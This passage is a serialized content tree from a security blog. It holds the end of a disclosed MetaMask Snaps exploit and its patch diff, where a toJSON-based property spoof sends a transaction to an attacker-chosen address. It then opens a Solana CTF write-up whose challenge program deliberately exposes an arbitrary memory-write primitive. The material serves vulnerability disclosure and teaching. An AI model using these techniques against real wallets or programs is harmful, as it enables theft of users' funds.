\"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":21,"tag":85,"props":40432,"children":40433},{"style":114},[40434],{"type":26,"value":256},{"type":21,"tag":85,"props":40436,"children":40437},{"style":92},[40438],{"type":26,"value":40439},"// change this to your address\n",{"type":21,"tag":85,"props":40441,"children":40442},{"class":87,"line":3596},[40443,40447,40451],{"type":21,"tag":85,"props":40444,"children":40445},{"style":120},[40446],{"type":26,"value":32526},{"type":21,"tag":85,"props":40448,"children":40449},{"style":5026},[40450],{"type":26,"value":40430},{"type":21,"tag":85,"props":40452,"children":40453},{"style":114},[40454],{"type":26,"value":182},{"type":21,"tag":85,"props":40456,"children":40457},{"class":87,"line":23938},[40458,40463,40468],{"type":21,"tag":85,"props":40459,"children":40460},{"style":120},[40461],{"type":26,"value":40462},"        value:",{"type":21,"tag":85,"props":40464,"children":40465},{"style":5026},[40466],{"type":26,"value":40467}," \"0x1\"",{"type":21,"tag":85,"props":40469,"children":40470},{"style":114},[40471],{"type":26,"value":182},{"type":21,"tag":85,"props":40473,"children":40474},{"class":87,"line":23973},[40475],{"type":21,"tag":85,"props":40476,"children":40477},{"style":114},[40478],{"type":26,"value":40479},"      }]\n",{"type":21,"tag":85,"props":40481,"children":40482},{"class":87,"line":23981},[40483],{"type":21,"tag":85,"props":40484,"children":40485},{"style":114},[40486],{"type":26,"value":507},{"type":21,"tag":85,"props":40488,"children":40489},{"class":87,"line":23989},[40490],{"type":21,"tag":85,"props":40491,"children":40492},{"style":114},[40493],{"type":26,"value":191},{"type":21,"tag":85,"props":40495,"children":40496},{"class":87,"line":23998},[40497],{"type":21,"tag":85,"props":40498,"children":40499},{"emptyLinePlaceholder":16},[40500],{"type":26,"value":703},{"type":21,"tag":85,"props":40502,"children":40503},{"class":87,"line":24040},[40504,40508,40512,40516,40520,40524,40528],{"type":21,"tag":85,"props":40505,"children":40506},{"style":2885},[40507],{"type":26,"value":39647},{"type":21,"tag":85,"props":40509,"children":40510},{"style":120},[40511],{"type":26,"value":40227},{"type":21,"tag":85,"props":40513,"children":40514},{"style":114},[40515],{"type":26,"value":73},{"type":21,"tag":85,"props":40517,"children":40518},{"style":1021},[40519],{"type":26,"value":31938},{"type":21,"tag":85,"props":40521,"children":40522},{"style":114},[40523],{"type":26,"value":1439},{"type":21,"tag":85,"props":40525,"children":40526},{"style":120},[40527],{"type":26,"value":19702},{"type":21,"tag":85,"props":40529,"children":40530},{"style":114},[40531],{"type":26,"value":777},{"type":21,"tag":85,"props":40533,"children":40534},{"class":87,"line":24073},[40535],{"type":21,"tag":85,"props":40536,"children":40537},{"style":114},[40538],{"type":26,"value":2671},{"type":21,"tag":85,"props":40540,"children":40541},{"class":87,"line":24081},[40542],{"type":21,"tag":85,"props":40543,"children":40544},{"emptyLinePlaceholder":16},[40545],{"type":26,"value":703},{"type":21,"tag":85,"props":40547,"children":40548},{"class":87,"line":24089},[40549,40553,40557,40562,40566,40571,40575,40580,40585,40589,40593,40598,40602],{"type":21,"tag":85,"props":40550,"children":40551},{"style":2885},[40552],{"type":26,"value":38657},{"type":21,"tag":85,"props":40554,"children":40555},{"style":102},[40556],{"type":26,"value":39559},{"type":21,"tag":85,"props":40558,"children":40559},{"style":1021},[40560],{"type":26,"value":40561}," onRpcRequest",{"type":21,"tag":85,"props":40563,"children":40564},{"style":169},[40565],{"type":26,"value":172},{"type":21,"tag":85,"props":40567,"children":40568},{"style":108},[40569],{"type":26,"value":40570}," OnRpcRequestHandler",{"type":21,"tag":85,"props":40572,"children":40573},{"style":169},[40574],{"type":26,"value":1941},{"type":21,"tag":85,"props":40576,"children":40577},{"style":114},[40578],{"type":26,"value":40579}," ({ ",{"type":21,"tag":85,"props":40581,"children":40582},{"style":120},[40583],{"type":26,"value":40584},"origin",{"type":21,"tag":85,"props":40586,"children":40587},{"style":114},[40588],{"type":26,"value":256},{"type":21,"tag":85,"props":40590,"children":40591},{"style":120},[40592],{"type":26,"value":31938},{"type":21,"tag":85,"props":40594,"children":40595},{"style":114},[40596],{"type":26,"value":40597}," }) ",{"type":21,"tag":85,"props":40599,"children":40600},{"style":102},[40601],{"type":26,"value":15240},{"type":21,"tag":85,"props":40603,"children":40604},{"style":114},[40605],{"type":26,"value":148},{"type":21,"tag":85,"props":40607,"children":40608},{"class":87,"line":24098},[40609],{"type":21,"tag":85,"props":40610,"children":40611},{"emptyLinePlaceholder":16},[40612],{"type":26,"value":703},{"type":21,"tag":85,"props":40614,"children":40615},{"class":87,"line":24174},[40616,40621,40625,40629,40633,40637],{"type":21,"tag":85,"props":40617,"children":40618},{"style":2885},[40619],{"type":26,"value":40620},"  switch",{"type":21,"tag":85,"props":40622,"children":40623},{"style":114},[40624],{"type":26,"value":717},{"type":21,"tag":85,"props":40626,"children":40627},{"style":120},[40628],{"type":26,"value":31938},{"type":21,"tag":85,"props":40630,"children":40631},{"style":114},[40632],{"type":26,"value":73},{"type":21,"tag":85,"props":40634,"children":40635},{"style":120},[40636],{"type":26,"value":38761},{"type":21,"tag":85,"props":40638,"children":40639},{"style":114},[40640],{"type":26,"value":15222},{"type":21,"tag":85,"props":40642,"children":40643},{"class":87,"line":24207},[40644,40649,40654],{"type":21,"tag":85,"props":40645,"children":40646},{"style":2885},[40647],{"type":26,"value":40648},"    case",{"type":21,"tag":85,"props":40650,"children":40651},{"style":5026},[40652],{"type":26,"value":40653}," 'json'",{"type":21,"tag":85,"props":40655,"children":40656},{"style":114},[40657],{"type":26,"value":6335},{"type":21,"tag":85,"props":40659,"children":40660},{"class":87,"line":24215},[40661,40665,40669],{"type":21,"tag":85,"props":40662,"children":40663},{"style":2885},[40664],{"type":26,"value":39805},{"type":21,"tag":85,"props":40666,"children":40667},{"style":1021},[40668],{"type":26,"value":40048},{"type":21,"tag":85,"props":40670,"children":40671},{"style":114},[40672],{"type":26,"value":4437},{"type":21,"tag":85,"props":40674,"children":40675},{"class":87,"line":24223},[40676,40680,40685],{"type":21,"tag":85,"props":40677,"children":40678},{"style":2885},[40679],{"type":26,"value":40648},{"type":21,"tag":85,"props":40681,"children":40682},{"style":5026},[40683],{"type":26,"value":40684}," 'transaction'",{"type":21,"tag":85,"props":40686,"children":40687},{"style":114},[40688],{"type":26,"value":6335},{"type":21,"tag":85,"props":40690,"children":40691},{"class":87,"line":24260},[40692,40696,40700],{"type":21,"tag":85,"props":40693,"children":40694},{"style":2885},[40695],{"type":26,"value":39805},{"type":21,"tag":85,"props":40697,"children":40698},{"style":1021},[40699],{"type":26,"value":40280},{"type":21,"tag":85,"props":40701,"children":40702},{"style":114},[40703],{"type":26,"value":4437},{"type":21,"tag":85,"props":40705,"children":40706},{"class":87,"line":24273},[40707,40712],{"type":21,"tag":85,"props":40708,"children":40709},{"style":2885},[40710],{"type":26,"value":40711},"    default",{"type":21,"tag":85,"props":40713,"children":40714},{"style":114},[40715],{"type":26,"value":6335},{"type":21,"tag":85,"props":40717,"children":40718},{"class":87,"line":24286},[40719,40724,40728,40733,40737,40742],{"type":21,"tag":85,"props":40720,"children":40721},{"style":2885},[40722],{"type":26,"value":40723},"      throw",{"type":21,"tag":85,"props":40725,"children":40726},{"style":102},[40727],{"type":26,"value":32378},{"type":21,"tag":85,"props":40729,"children":40730},{"style":1021},[40731],{"type":26,"value":40732}," Error",{"type":21,"tag":85,"props":40734,"children":40735},{"style":114},[40736],{"type":26,"value":1439},{"type":21,"tag":85,"props":40738,"children":40739},{"style":5026},[40740],{"type":26,"value":40741},"'Method not found.'",{"type":21,"tag":85,"props":40743,"children":40744},{"style":114},[40745],{"type":26,"value":777},{"type":21,"tag":85,"props":40747,"children":40748},{"class":87,"line":24299},[40749],{"type":21,"tag":85,"props":40750,"children":40751},{"style":114},[40752],{"type":26,"value":191},{"type":21,"tag":85,"props":40754,"children":40755},{"class":87,"line":24353},[40756],{"type":21,"tag":85,"props":40757,"children":40758},{"style":114},[40759],{"type":26,"value":16998},{"type":21,"tag":22,"props":40761,"children":40762},{},[40763,40765,40771,40773,40778],{"type":26,"value":40764},"We set ",{"type":21,"tag":66,"props":40766,"children":40768},{"className":40767},[],[40769],{"type":26,"value":40770},"x.method = \"snap_dialog\"",{"type":26,"value":40772}," to pass the assertion and setup a toJSON function to change this method to ",{"type":21,"tag":66,"props":40774,"children":40776},{"className":40775},[],[40777],{"type":26,"value":39980},{"type":26,"value":40779}," after.",{"type":21,"tag":10022,"props":40781,"children":40783},{"id":40782},"mitigation",[40784],{"type":26,"value":40785},"Mitigation",{"type":21,"tag":22,"props":40787,"children":40788},{},[40789,40791,40796,40798,40805],{"type":26,"value":40790},"Metamask mitigated this issue by asserting the arguments after the ",{"type":21,"tag":66,"props":40792,"children":40794},{"className":40793},[],[40795],{"type":26,"value":39524},{"type":26,"value":40797}," function execution. The patch was introduced on commit ",{"type":21,"tag":335,"props":40799,"children":40802},{"href":40800,"rel":40801},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[339],[40803],{"type":26,"value":40804},"168ff08",{"type":26,"value":40806}," with the following changes:",{"type":21,"tag":75,"props":40808,"children":40812},{"className":40809,"code":40810,"language":40811,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[40813],{"type":21,"tag":66,"props":40814,"children":40815},{"__ignoreMap":7},[40816,40824,40832,40840,40848],{"type":21,"tag":85,"props":40817,"children":40818},{"class":87,"line":88},[40819],{"type":21,"tag":85,"props":40820,"children":40821},{"style":114},[40822],{"type":26,"value":40823},"const request = async (args: RequestArguments) => {\n",{"type":21,"tag":85,"props":40825,"children":40826},{"class":87,"line":98},[40827],{"type":21,"tag":85,"props":40828,"children":40829},{"style":5026},[40830],{"type":26,"value":40831},"-      assertEthereumOutboundRequest(args);\n",{"type":21,"tag":85,"props":40833,"children":40834},{"class":87,"line":151},[40835],{"type":21,"tag":85,"props":40836,"children":40837},{"style":5026},[40838],{"type":26,"value":40839},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":21,"tag":85,"props":40841,"children":40842},{"class":87,"line":160},[40843],{"type":21,"tag":85,"props":40844,"children":40845},{"style":2285},[40846],{"type":26,"value":40847},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":21,"tag":85,"props":40849,"children":40850},{"class":87,"line":185},[40851],{"type":21,"tag":85,"props":40852,"children":40853},{"style":2285},[40854],{"type":26,"value":40855},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":21,"tag":54,"props":40857,"children":40858},{"id":29375},[40859],{"type":26,"value":19373},{"type":21,"tag":22,"props":40861,"children":40862},{},[40863],{"type":26,"value":40864},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":21,"tag":22,"props":40866,"children":40867},{},[40868],{"type":26,"value":40869},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":21,"tag":3632,"props":40871,"children":40872},{},[40873],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":40875},[40876,40877,40884,40892],{"id":19382,"depth":98,"text":19385},{"id":35900,"depth":98,"text":35903,"children":40878},[40879,40880,40881,40882,40883],{"id":35911,"depth":151,"text":35914},{"id":35979,"depth":151,"text":35982},{"id":36015,"depth":151,"text":36018},{"id":37411,"depth":151,"text":37414},{"id":37769,"depth":151,"text":37772},{"id":38556,"depth":98,"text":38559,"children":40885},[40886,40887,40888,40889,40890,40891],{"id":38562,"depth":151,"text":38565},{"id":38606,"depth":151,"text":38609},{"id":39510,"depth":151,"text":39513},{"id":6429,"depth":151,"text":6432},{"id":39953,"depth":151,"text":35276},{"id":40782,"depth":151,"text":40785},{"id":29375,"depth":98,"text":19373},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":40897,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":40898,"description":40899,"author":40900,"image":40902,"date":40904,"isFeatured":16,"onBlogPage":16,"body":40905,"_type":3642,"_id":46325,"_source":3644,"_file":46326,"_stem":46327,"_extension":3647},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[40901,10],"nicola",{"src":40903},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":18,"children":40906,"toc":46314},[40907,40921,40941,40946,40950,40963,40988,40994,40999,41014,41368,41383,41648,41664,42307,42313,42318,42331,42339,42551,42559,42862,42870,43013,43021,43546,43552,43564,43577,43591,43596,44364,44369,44377,44382,44388,44400,44465,44470,44483,44496,44502,44530,45681,45694,45736,45741,45746,45760,45900,45921,45942,45949,46000,46008,46019,46032,46037,46161,46174,46276,46280,46293,46298,46310],{"type":21,"tag":22,"props":40908,"children":40909},{},[40910,40912,40919],{"type":26,"value":40911},"In the world of CTFs, ",{"type":21,"tag":335,"props":40913,"children":40916},{"href":40914,"rel":40915},"https://twitter.com/paradigm_ctf",[339],[40917],{"type":26,"value":40918},"Paradigm CTF 2023",{"type":26,"value":40920}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":21,"tag":22,"props":40922,"children":40923},{},[40924,40926,40933,40934],{"type":26,"value":40925},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":21,"tag":335,"props":40927,"children":40930},{"href":40928,"rel":40929},"https://osec.io/blog/2022-03-14-solana-security-intro",[339],[40931],{"type":26,"value":40932},"Solana: An Auditor's Introduction",{"type":26,"value":11408},{"type":21,"tag":335,"props":40935,"children":40938},{"href":40936,"rel":40937},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[339],[40939],{"type":26,"value":40940},"Reverse Engineering Solana with Binary Ninja.\n",{"type":21,"tag":22,"props":40942,"children":40943},{},[40944],{"type":26,"value":40945},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":21,"tag":54,"props":40947,"children":40948},{"id":19382},[40949],{"type":26,"value":19385},{"type":21,"tag":22,"props":40951,"children":40952},{},[40953,40955,40961],{"type":26,"value":40954},"The challenge itself resides into ",{"type":21,"tag":66,"props":40956,"children":40958},{"className":40957},[],[40959],{"type":26,"value":40960},"framework/",{"type":26,"value":40962},", and is composed of 2 parts:",{"type":21,"tag":17108,"props":40964,"children":40965},{},[40966,40977],{"type":21,"tag":845,"props":40967,"children":40968},{},[40969,40975],{"type":21,"tag":66,"props":40970,"children":40972},{"className":40971},[],[40973],{"type":26,"value":40974},"framework/chall/lib.rs",{"type":26,"value":40976},": The on-chain eBPF program that needs to be exploited.",{"type":21,"tag":845,"props":40978,"children":40979},{},[40980,40986],{"type":21,"tag":66,"props":40981,"children":40983},{"className":40982},[],[40984],{"type":26,"value":40985},"framework/src/main.rs",{"type":26,"value":40987},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":21,"tag":10022,"props":40989,"children":40991},{"id":40990},"vulnerable-program",[40992],{"type":26,"value":40993},"Vulnerable Program",{"type":21,"tag":22,"props":40995,"children":40996},{},[40997],{"type":26,"value":40998},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":21,"tag":841,"props":41000,"children":41001},{},[41002],{"type":21,"tag":845,"props":41003,"children":41004},{},[41005,41006,41012],{"type":26,"value":1826},{"type":21,"tag":66,"props":41007,"children":41009},{"className":41008},[],[41010],{"type":26,"value":41011},"data[0] == 0",{"type":26,"value":41013}," a function that lets you write-what-where is executed",{"type":21,"tag":75,"props":41015,"children":41017},{"className":77,"code":41016,"language":79,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[41018],{"type":21,"tag":66,"props":41019,"children":41020},{"__ignoreMap":7},[41021,41029,41074,41085,41208,41325,41354,41361],{"type":21,"tag":85,"props":41022,"children":41023},{"class":87,"line":88},[41024],{"type":21,"tag":85,"props":41025,"children":41026},{"style":114},[41027],{"type":26,"value":41028},"#[inline(never)]\n",{"type":21,"tag":85,"props":41030,"children":41031},{"class":87,"line":98},[41032,41036,41040,41045,41049,41053,41057,41061,41065,41069],{"type":21,"tag":85,"props":41033,"children":41034},{"style":102},[41035],{"type":26,"value":14108},{"type":21,"tag":85,"props":41037,"children":41038},{"style":102},[41039],{"type":26,"value":14113},{"type":21,"tag":85,"props":41041,"children":41042},{"style":1021},[41043],{"type":26,"value":41044}," write",{"type":21,"tag":85,"props":41046,"children":41047},{"style":114},[41048],{"type":26,"value":1439},{"type":21,"tag":85,"props":41050,"children":41051},{"style":120},[41052],{"type":26,"value":4469},{"type":21,"tag":85,"props":41054,"children":41055},{"style":169},[41056],{"type":26,"value":172},{"type":21,"tag":85,"props":41058,"children":41059},{"style":169},[41060],{"type":26,"value":1487},{"type":21,"tag":85,"props":41062,"children":41063},{"style":114},[41064],{"type":26,"value":3016},{"type":21,"tag":85,"props":41066,"children":41067},{"style":108},[41068],{"type":26,"value":4190},{"type":21,"tag":85,"props":41070,"children":41071},{"style":114},[41072],{"type":26,"value":41073},"]) {\n",{"type":21,"tag":85,"props":41075,"children":41076},{"class":87,"line":151},[41077,41081],{"type":21,"tag":85,"props":41078,"children":41079},{"style":102},[41080],{"type":26,"value":14251},{"type":21,"tag":85,"props":41082,"children":41083},{"style":114},[41084],{"type":26,"value":148},{"type":21,"tag":85,"props":41086,"children":41087},{"class":87,"line":160},[41088,41092,41096,41100,41105,41109,41114,41118,41123,41127,41132,41136,41140,41144,41148,41152,41156,41160,41164,41168,41172,41176,41180,41184,41188,41192,41196,41200,41204],{"type":21,"tag":85,"props":41089,"children":41090},{"style":102},[41091],{"type":26,"value":1931},{"type":21,"tag":85,"props":41093,"children":41094},{"style":120},[41095],{"type":26,"value":14275},{"type":21,"tag":85,"props":41097,"children":41098},{"style":169},[41099],{"type":26,"value":1941},{"type":21,"tag":85,"props":41101,"children":41102},{"style":114},[41103],{"type":26,"value":41104}," std",{"type":21,"tag":85,"props":41106,"children":41107},{"style":169},[41108],{"type":26,"value":1087},{"type":21,"tag":85,"props":41110,"children":41111},{"style":114},[41112],{"type":26,"value":41113},"mem",{"type":21,"tag":85,"props":41115,"children":41116},{"style":169},[41117],{"type":26,"value":1087},{"type":21,"tag":85,"props":41119,"children":41120},{"style":1021},[41121],{"type":26,"value":41122},"transmute",{"type":21,"tag":85,"props":41124,"children":41125},{"style":169},[41126],{"type":26,"value":1087},{"type":21,"tag":85,"props":41128,"children":41129},{"style":114},[41130],{"type":26,"value":41131},"\u003C[",{"type":21,"tag":85,"props":41133,"children":41134},{"style":108},[41135],{"type":26,"value":4190},{"type":21,"tag":85,"props":41137,"children":41138},{"style":114},[41139],{"type":26,"value":17649},{"type":21,"tag":85,"props":41141,"children":41142},{"style":2285},[41143],{"type":26,"value":4843},{"type":21,"tag":85,"props":41145,"children":41146},{"style":114},[41147],{"type":26,"value":23489},{"type":21,"tag":85,"props":41149,"children":41150},{"style":169},[41151],{"type":26,"value":3052},{"type":21,"tag":85,"props":41153,"children":41154},{"style":102},[41155],{"type":26,"value":2039},{"type":21,"tag":85,"props":41157,"children":41158},{"style":108},[41159],{"type":26,"value":177},{"type":21,"tag":85,"props":41161,"children":41162},{"style":114},[41163],{"type":26,"value":1960},{"type":21,"tag":85,"props":41165,"children":41166},{"style":120},[41167],{"type":26,"value":4469},{"type":21,"tag":85,"props":41169,"children":41170},{"style":114},[41171],{"type":26,"value":3016},{"type":21,"tag":85,"props":41173,"children":41174},{"style":169},[41175],{"type":26,"value":2998},{"type":21,"tag":85,"props":41177,"children":41178},{"style":2285},[41179],{"type":26,"value":4843},{"type":21,"tag":85,"props":41181,"children":41182},{"style":114},[41183],{"type":26,"value":15830},{"type":21,"tag":85,"props":41185,"children":41186},{"style":169},[41187],{"type":26,"value":73},{"type":21,"tag":85,"props":41189,"children":41190},{"style":1021},[41191],{"type":26,"value":26603},{"type":21,"tag":85,"props":41193,"children":41194},{"style":114},[41195],{"type":26,"value":14297},{"type":21,"tag":85,"props":41197,"children":41198},{"style":169},[41199],{"type":26,"value":73},{"type":21,"tag":85,"props":41201,"children":41202},{"style":1021},[41203],{"type":26,"value":4432},{"type":21,"tag":85,"props":41205,"children":41206},{"style":114},[41207],{"type":26,"value":15844},{"type":21,"tag":85,"props":41209,"children":41210},{"class":87,"line":185},[41211,41215,41220,41224,41228,41232,41236,41240,41244,41248,41252,41256,41260,41264,41268,41272,41276,41280,41284,41288,41292,41297,41301,41305,41309,41313,41317,41321],{"type":21,"tag":85,"props":41212,"children":41213},{"style":102},[41214],{"type":26,"value":1931},{"type":21,"tag":85,"props":41216,"children":41217},{"style":120},[41218],{"type":26,"value":41219}," val",{"type":21,"tag":85,"props":41221,"children":41222},{"style":169},[41223],{"type":26,"value":1941},{"type":21,"tag":85,"props":41225,"children":41226},{"style":114},[41227],{"type":26,"value":41104},{"type":21,"tag":85,"props":41229,"children":41230},{"style":169},[41231],{"type":26,"value":1087},{"type":21,"tag":85,"props":41233,"children":41234},{"style":114},[41235],{"type":26,"value":41113},{"type":21,"tag":85,"props":41237,"children":41238},{"style":169},[41239],{"type":26,"value":1087},{"type":21,"tag":85,"props":41241,"children":41242},{"style":1021},[41243],{"type":26,"value":41122},{"type":21,"tag":85,"props":41245,"children":41246},{"style":169},[41247],{"type":26,"value":1087},{"type":21,"tag":85,"props":41249,"children":41250},{"style":114},[41251],{"type":26,"value":41131},{"type":21,"tag":85,"props":41253,"children":41254},{"style":108},[41255],{"type":26,"value":4190},{"type":21,"tag":85,"props":41257,"children":41258},{"style":114},[41259],{"type":26,"value":17649},{"type":21,"tag":85,"props":41261,"children":41262},{"style":2285},[41263],{"type":26,"value":4843},{"type":21,"tag":85,"props":41265,"children":41266},{"style":114},[41267],{"type":26,"value":23489},{"type":21,"tag":85,"props":41269,"children":41270},{"style":108},[41271],{"type":26,"value":2396},{"type":21,"tag":85,"props":41273,"children":41274},{"style":114},[41275],{"type":26,"value":1960},{"type":21,"tag":85,"props":41277,"children":41278},{"style":120},[41279],{"type":26,"value":4469},{"type":21,"tag":85,"props":41281,"children":41282},{"style":114},[41283],{"type":26,"value":3016},{"type":21,"tag":85,"props":41285,"children":41286},{"style":2285},[41287],{"type":26,"value":4843},{"type":21,"tag":85,"props":41289,"children":41290},{"style":169},[41291],{"type":26,"value":2998},{"type":21,"tag":85,"props":41293,"children":41294},{"style":2285},[41295],{"type":26,"value":41296},"16",{"type":21,"tag":85,"props":41298,"children":41299},{"style":114},[41300],{"type":26,"value":15830},{"type":21,"tag":85,"props":41302,"children":41303},{"style":169},[41304],{"type":26,"value":73},{"type":21,"tag":85,"props":41306,"children":41307},{"style":1021},[41308],{"type":26,"value":26603},{"type":21,"tag":85,"props":41310,"children":41311},{"style":114},[41312],{"type":26,"value":14297},{"type":21,"tag":85,"props":41314,"children":41315},{"style":169},[41316],{"type":26,"value":73},{"type":21,"tag":85,"props":41318,"children":41319},{"style":1021},[41320],{"type":26,"value":4432},{"type":21,"tag":85,"props":41322,"children":41323},{"style":114},[41324],{"type":26,"value":15844},{"type":21,"tag":85,"props":41326,"children":41327},{"class":87,"line":501},[41328,41333,41337,41342,41346,41350],{"type":21,"tag":85,"props":41329,"children":41330},{"style":120},[41331],{"type":26,"value":41332},"        ptr",{"type":21,"tag":85,"props":41334,"children":41335},{"style":169},[41336],{"type":26,"value":73},{"type":21,"tag":85,"props":41338,"children":41339},{"style":1021},[41340],{"type":26,"value":41341},"write_volatile",{"type":21,"tag":85,"props":41343,"children":41344},{"style":114},[41345],{"type":26,"value":1439},{"type":21,"tag":85,"props":41347,"children":41348},{"style":120},[41349],{"type":26,"value":13049},{"type":21,"tag":85,"props":41351,"children":41352},{"style":114},[41353],{"type":26,"value":777},{"type":21,"tag":85,"props":41355,"children":41356},{"class":87,"line":697},[41357],{"type":21,"tag":85,"props":41358,"children":41359},{"style":114},[41360],{"type":26,"value":507},{"type":21,"tag":85,"props":41362,"children":41363},{"class":87,"line":706},[41364],{"type":21,"tag":85,"props":41365,"children":41366},{"style":114},[41367],{"type":26,"value":2671},{"type":21,"tag":841,"props":41369,"children":41370},{"start":98},[41371],{"type":21,"tag":845,"props":41372,"children":41373},{},[41374,41375,41381],{"type":26,"value":1826},{"type":21,"tag":66,"props":41376,"children":41378},{"className":41377},[],[41379],{"type":26,"value":41380},"data[0] == 1",{"type":26,"value":41382},", a CPI to a non-existent program is executed:",{"type":21,"tag":75,"props":41384,"children":41386},{"className":77,"code":41385,"language":79,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[41387],{"type":21,"tag":66,"props":41388,"children":41389},{"__ignoreMap":7},[41390,41397,41441,41466,41496,41536,41557,41564,41571,41583,41599,41611,41622,41641],{"type":21,"tag":85,"props":41391,"children":41392},{"class":87,"line":88},[41393],{"type":21,"tag":85,"props":41394,"children":41395},{"style":114},[41396],{"type":26,"value":41028},{"type":21,"tag":85,"props":41398,"children":41399},{"class":87,"line":98},[41400,41404,41408,41413,41417,41421,41425,41429,41433,41437],{"type":21,"tag":85,"props":41401,"children":41402},{"style":102},[41403],{"type":26,"value":14108},{"type":21,"tag":85,"props":41405,"children":41406},{"style":102},[41407],{"type":26,"value":14113},{"type":21,"tag":85,"props":41409,"children":41410},{"style":1021},[41411],{"type":26,"value":41412}," call",{"type":21,"tag":85,"props":41414,"children":41415},{"style":114},[41416],{"type":26,"value":1439},{"type":21,"tag":85,"props":41418,"children":41419},{"style":120},[41420],{"type":26,"value":4469},{"type":21,"tag":85,"props":41422,"children":41423},{"style":169},[41424],{"type":26,"value":172},{"type":21,"tag":85,"props":41426,"children":41427},{"style":169},[41428],{"type":26,"value":1487},{"type":21,"tag":85,"props":41430,"children":41431},{"style":114},[41432],{"type":26,"value":3016},{"type":21,"tag":85,"props":41434,"children":41435},{"style":108},[41436],{"type":26,"value":4190},{"type":21,"tag":85,"props":41438,"children":41439},{"style":114},[41440],{"type":26,"value":41073},{"type":21,"tag":85,"props":41442,"children":41443},{"class":87,"line":151},[41444,41448,41453,41457,41462],{"type":21,"tag":85,"props":41445,"children":41446},{"style":102},[41447],{"type":26,"value":3778},{"type":21,"tag":85,"props":41449,"children":41450},{"style":120},[41451],{"type":26,"value":41452}," ix",{"type":21,"tag":85,"props":41454,"children":41455},{"style":169},[41456],{"type":26,"value":1941},{"type":21,"tag":85,"props":41458,"children":41459},{"style":108},[41460],{"type":26,"value":41461}," Instruction",{"type":21,"tag":85,"props":41463,"children":41464},{"style":114},[41465],{"type":26,"value":148},{"type":21,"tag":85,"props":41467,"children":41468},{"class":87,"line":160},[41469,41474,41478,41483,41487,41492],{"type":21,"tag":85,"props":41470,"children":41471},{"style":120},[41472],{"type":26,"value":41473},"        program_id",{"type":21,"tag":85,"props":41475,"children":41476},{"style":169},[41477],{"type":26,"value":172},{"type":21,"tag":85,"props":41479,"children":41480},{"style":1021},[41481],{"type":26,"value":41482}," pubkey!",{"type":21,"tag":85,"props":41484,"children":41485},{"style":114},[41486],{"type":26,"value":1439},{"type":21,"tag":85,"props":41488,"children":41489},{"style":5026},[41490],{"type":26,"value":41491},"\"osecio5555555555555551111111111111111111111\"",{"type":21,"tag":85,"props":41493,"children":41494},{"style":114},[41495],{"type":26,"value":1074},{"type":21,"tag":85,"props":41497,"children":41498},{"class":87,"line":185},[41499,41504,41508,41512,41516,41520,41524,41528,41532],{"type":21,"tag":85,"props":41500,"children":41501},{"style":120},[41502],{"type":26,"value":41503},"        data",{"type":21,"tag":85,"props":41505,"children":41506},{"style":169},[41507],{"type":26,"value":172},{"type":21,"tag":85,"props":41509,"children":41510},{"style":120},[41511],{"type":26,"value":15523},{"type":21,"tag":85,"props":41513,"children":41514},{"style":169},[41515],{"type":26,"value":73},{"type":21,"tag":85,"props":41517,"children":41518},{"style":1021},[41519],{"type":26,"value":26603},{"type":21,"tag":85,"props":41521,"children":41522},{"style":114},[41523],{"type":26,"value":14297},{"type":21,"tag":85,"props":41525,"children":41526},{"style":169},[41527],{"type":26,"value":73},{"type":21,"tag":85,"props":41529,"children":41530},{"style":1021},[41531],{"type":26,"value":4432},{"type":21,"tag":85,"props":41533,"children":41534},{"style":114},[41535],{"type":26,"value":4258},{"type":21,"tag":85,"props":41537,"children":41538},{"class":87,"line":501},[41539,41544,41548,41552],{"type":21,"tag":85,"props":41540,"children":41541},{"style":120},[41542],{"type":26,"value":41543},"        